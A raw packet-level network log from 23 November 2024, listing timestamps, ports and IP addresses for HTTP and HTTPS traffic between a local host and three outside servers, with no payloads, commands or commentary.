Nov 23, 2024 01:14:31.352417946 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.352421999 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.352508068 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.352579117 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.352626085 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.352632999 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.352643013 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.352679968 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.366799116 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.366842985 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.366895914 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.366904974 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.366931915 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.366950989 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.385055065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.385210037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.385241032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.385343075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.385565996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.385632992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.385653973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.385683060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.386509895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.386565924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.386708021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.386816025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.387494087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.387562990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.387630939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.387737989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.388478994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.388529062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.388533115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.388629913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.389441967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.389527082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.389559031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.389624119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.390419960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.390537024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.390566111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.390611887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.391387939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.391463041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.391483068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.391509056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.392324924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.392376900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.392457962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.392539024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.393294096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.393388033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.393419981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.393454075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.394249916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.394391060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.394426107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.394438982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.395230055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.395339966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.395401955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.396198034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.396306038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.396337032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.396419048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.397169113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.397291899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.397320986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.397340059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.398147106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.398266077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.398298025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.398310900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.399122953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.399183035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.399226904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.399272919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.400058985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.400183916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.400194883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.400254965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.401057959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.401120901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.401156902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.401312113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.402017117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.402092934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.402097940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.402220964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.402976990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.403038979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.403105021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.403148890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.403960943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.404015064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.404315948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.404362917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.404920101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.404975891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.405059099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.405112028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.405899048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.405962944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.406013966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.406168938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.406830072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.406924009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.406969070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.407032013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.407812119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.407860994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.408014059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.408137083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.408796072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.408881903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.408888102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.408926010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.409806967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.409858942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.409904003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.409945965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.410763025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.410815001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.410851002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.410892010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.411679983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.411732912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.411782026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.412033081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.412651062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.412719011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.412770987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.413633108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.413692951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.414041996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.414642096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.414691925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.414782047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.415569067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.415620089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.415663958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.416424990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.416524887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.416606903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.416656017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.417515993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.417573929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.417615891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.417659998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.418462992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.418528080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.418592930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.419440031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.419528961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.419739008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.420414925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.420473099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.420562983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.420608044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.424534082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.425113916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.425312042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.425472021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.425494909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.425530910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.425548077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.425565958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.425601959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.425614119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.425647974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.426317930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.426333904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.426348925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.426364899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.426376104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.426383018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.426388025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.426400900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.426420927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.426434994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.427205086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.427265882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.427329063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.427376032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.428158998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.428212881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.428280115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.428325891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.429121017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.429181099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.429205894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.429392099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.432667017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.432797909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.433763981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.433821917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.646941900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.647010088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.647039890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.647059917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.647134066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.647171021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.647191048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.647258043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.647294044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.647309065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.647349119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.647411108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.647445917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.647537947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.647572994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.647595882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.647614956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.647624969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.647711992 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.647756100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.647763968 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.647839069 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.647871017 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.647877932 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.647931099 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.648319006 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.648360014 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.648395061 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.648401022 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.648432016 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.648451090 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.648562908 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.648602962 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.648627996 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.648633957 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.648660898 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.648680925 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.648809910 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.648853064 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.648870945 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.648879051 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.648924112 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.648924112 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.649005890 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.649049997 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.649070978 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.649080992 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.649095058 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.649158955 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.649226904 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.649391890 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.649403095 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.649451017 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.649481058 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.649481058 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.649494886 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.649523973 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.649549961 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.649559975 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.649576902 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.649611950 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.649633884 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.649641037 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.649673939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.649709940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.649725914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.649743080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.649753094 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.649769068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.649776936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.649791956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.649810076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.649813890 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.649833918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.649925947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.649960995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.649962902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.649993896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650027990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650038958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650060892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650078058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650094986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650101900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650129080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650155067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650162935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650196075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650202990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650243044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650279045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650289059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650316000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650327921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650348902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650383949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650408983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650418043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650433064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650453091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650461912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650490046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650499105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650523901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650569916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650573015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650604010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650618076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650638103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650649071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650671959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650705099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650718927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650738955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650773048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650785923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650805950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650839090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650847912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650876045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650891066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650913000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650926113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650974035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.650974989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.650988102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651009083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651017904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651043892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651077986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651087999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651112080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651122093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651146889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651168108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651180029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651213884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651226044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651246071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651256084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651282072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651300907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651335001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651346922 CET	49760	80	192.168.2.5	185.215.113.206
